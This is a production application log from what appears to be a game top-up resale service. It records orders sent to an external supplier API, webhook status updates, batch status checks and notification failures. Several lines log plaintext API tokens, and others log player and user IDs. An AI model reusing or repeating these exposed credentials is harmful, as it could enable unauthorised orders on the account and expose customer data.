[2026-03-24 00:50:15] production.INFO: Operation sent successfully {"operation_id":163421,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PNfM-1774302615","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 00:50:15"}},"processed_data":{"order_number":"ORD-PNfM-1774302615","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 00:50:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PNfM-1774302615","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 00:50:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-PNfM-1774302615","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 00:50:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:50:36] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178488} 
[2026-03-24 00:50:36] production.INFO: Order updated successfully. Order ID: 178488, Status: completed  
[2026-03-24 00:50:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PNfM-1774302615","status":"completed","codes_count":0} 
[2026-03-24 00:50:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 00:50:40] production.INFO: Constructing job for order: 178489  
[2026-03-24 00:50:42] production.INFO: Handling job for order: 178489  
[2026-03-24 00:50:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:50:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:50:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/597/params?qty=300&uuid=ec8037c6-8d7e-495e-a1cc-f37f689505cc&Player_ID=43349956  
[2026-03-24 00:50:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/597/params?qty=300&uuid=ec8037c6-8d7e-495e-a1cc-f37f689505cc&Player_ID=43349956","has_body":false} 
[2026-03-24 00:50:43] production.INFO: Operation sent successfully {"operation_id":163422,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-M6fg-1774302642","amount":1.9195499999999998674837797807413153350353240966796875,"status":"processing","product":"SuperLive Amount","game":"SuperLive","notes":[],"created_at":"2026-03-24 00:50:43"}},"processed_data":{"order_number":"ORD-M6fg-1774302642","amount":1.9195499999999998674837797807413153350353240966796875,"status":"processing","product":"SuperLive Amount","game":"SuperLive"}} 
[2026-03-24 00:50:48] production.INFO: Constructing job for order: 178490  
[2026-03-24 00:50:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-M6fg-1774302642","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:50:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-M6fg-1774302642","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:50:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:50:48] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178489} 
[2026-03-24 00:50:48] production.INFO: Order updated successfully. Order ID: 178489, Status: completed  
[2026-03-24 00:50:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-M6fg-1774302642","status":"completed","codes_count":0} 
[2026-03-24 00:50:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 00:50:49] production.INFO: Handling job for order: 178490  
[2026-03-24 00:50:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:50:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:50:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=f31a9641-07a7-42ef-bc7b-1dd78aa1cf4c&Player_ID=7667132941  
[2026-03-24 00:50:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=f31a9641-07a7-42ef-bc7b-1dd78aa1cf4c&Player_ID=7667132941","has_body":false} 
[2026-03-24 00:50:50] production.INFO: Operation sent successfully {"operation_id":163423,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-W1KnK-1774302649","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 00:50:50"}},"processed_data":{"order_number":"ORD-W1KnK-1774302649","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 00:51:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-W1KnK-1774302649","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 00:51:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-W1KnK-1774302649","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 00:51:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:51:09] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178490} 
[2026-03-24 00:51:09] production.INFO: Order updated successfully. Order ID: 178490, Status: completed  
[2026-03-24 00:51:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-W1KnK-1774302649","status":"completed","codes_count":0} 
[2026-03-24 00:51:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 00:51:55] production.INFO: Constructing job for order: 178491  
[2026-03-24 00:51:56] production.INFO: Handling job for order: 178491  
[2026-03-24 00:51:56] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:51:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:51:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c2c15385-d59e-463a-99f0-1301198e295a&Player_ID=0997552193  
[2026-03-24 00:51:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c2c15385-d59e-463a-99f0-1301198e295a&Player_ID=0997552193","has_body":false} 
[2026-03-24 00:51:56] production.INFO: Operation sent successfully {"operation_id":163424,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zC0LQlc-1774302716","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 00:51:56"}},"processed_data":{"order_number":"ORD-zC0LQlc-1774302716","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 00:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02"} 
[2026-03-24 00:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","total_operations":5,"sites_count":2} 
[2026-03-24 00:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-zC0LQlc-1774302716"]} 
[2026-03-24 00:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424} 
[2026-03-24 00:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 00:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"processed":0,"errors":0} 
[2026-03-24 00:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Auw1sD8bUxODGqDl6DR0PQV0kJvGNCK8","execution_time":"2026-03-24 00:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424} 
[2026-03-24 00:52:21] production.INFO: Constructing job for order: 178492  
[2026-03-24 00:52:24] production.INFO: Handling job for order: 178492  
[2026-03-24 00:52:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:52:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:52:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=1000&uuid=44051436-6d06-4dab-8356-538dd9e425e7&Player_ID=1100765771  
[2026-03-24 00:52:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=1000&uuid=44051436-6d06-4dab-8356-538dd9e425e7&Player_ID=1100765771","has_body":false} 
[2026-03-24 00:52:25] production.INFO: Operation sent successfully {"operation_id":163425,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jIi-1774302745","amount":17.478260799999997487930158968083560466766357421875,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 00:52:25"}},"processed_data":{"order_number":"ORD-jIi-1774302745","amount":17.478260799999997487930158968083560466766357421875,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 00:52:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jIi-1774302745","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:52:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-jIi-1774302745","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:52:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:52:31] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":178492} 
[2026-03-24 00:52:31] production.INFO: Order updated successfully. Order ID: 178492, Status: completed  
[2026-03-24 00:52:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jIi-1774302745","status":"completed","codes_count":0} 
[2026-03-24 00:52:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 00:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01"} 
[2026-03-24 00:54:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","total_operations":5,"sites_count":2} 
[2026-03-24 00:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:54:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:54:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:54:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:54:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-zC0LQlc-1774302716"]} 
[2026-03-24 00:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:54:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:54:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 00:54:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 00:54:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"count":1} 
[2026-03-24 00:54:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"count":1} 
[2026-03-24 00:54:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"user_id":587,"notification_type":"order_approved","reference_id":178491} 
[2026-03-24 00:54:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:54:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:54:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"processed":1,"errors":0} 
[2026-03-24 00:54:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424,"processed":1,"errors":0} 
[2026-03-24 00:54:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"xgVXrZVFxIjUFIq1cMbOikZw6bTH6Yqs","execution_time":"2026-03-24 00:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zC0LQlc-1774302716","operation_id":163424} 
[2026-03-24 00:54:03] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 00:54:04] production.INFO: Constructing job for order: 178493  
[2026-03-24 00:54:06] production.INFO: Handling job for order: 178493  
[2026-03-24 00:54:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:54:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:54:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=2dc95a83-0935-44e2-b742-cbd94de10796&Player_ID=43349956  
[2026-03-24 00:54:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=2dc95a83-0935-44e2-b742-cbd94de10796&Player_ID=43349956","has_body":false} 
[2026-03-24 00:54:07] production.INFO: Operation sent successfully {"operation_id":163426,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6vvT-1774302847","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive","notes":[],"created_at":"2026-03-24 00:54:07"}},"processed_data":{"order_number":"ORD-6vvT-1774302847","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive"}} 
[2026-03-24 00:54:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6vvT-1774302847","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:54:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-6vvT-1774302847","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:54:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:54:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178493} 
[2026-03-24 00:54:13] production.INFO: Order updated successfully. Order ID: 178493, Status: completed  
[2026-03-24 00:54:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6vvT-1774302847","status":"completed","codes_count":0} 
[2026-03-24 00:54:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 00:54:27] production.INFO: Constructing job for order: 178494  
[2026-03-24 00:54:28] production.INFO: Handling job for order: 178494  
[2026-03-24 00:54:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:54:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:54:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=832a7639-6290-4197-a018-2931b81f16da&Player_ID=27237727  
[2026-03-24 00:54:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=832a7639-6290-4197-a018-2931b81f16da&Player_ID=27237727","has_body":false} 
[2026-03-24 00:54:29] production.INFO: Operation sent successfully {"operation_id":163427,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vNSn-1774302868","amount":2.395887999999999795619487485964782536029815673828125,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 00:54:29"}},"processed_data":{"order_number":"ORD-vNSn-1774302868","amount":2.395887999999999795619487485964782536029815673828125,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 00:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:55:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:55:04] production.INFO: async() رجع: true  
[2026-03-24 00:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:55:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:55:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:55:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02"} 
[2026-03-24 00:56:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","total_operations":5,"sites_count":1} 
[2026-03-24 00:56:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-vNSn-1774302868"]} 
[2026-03-24 00:56:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:56:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
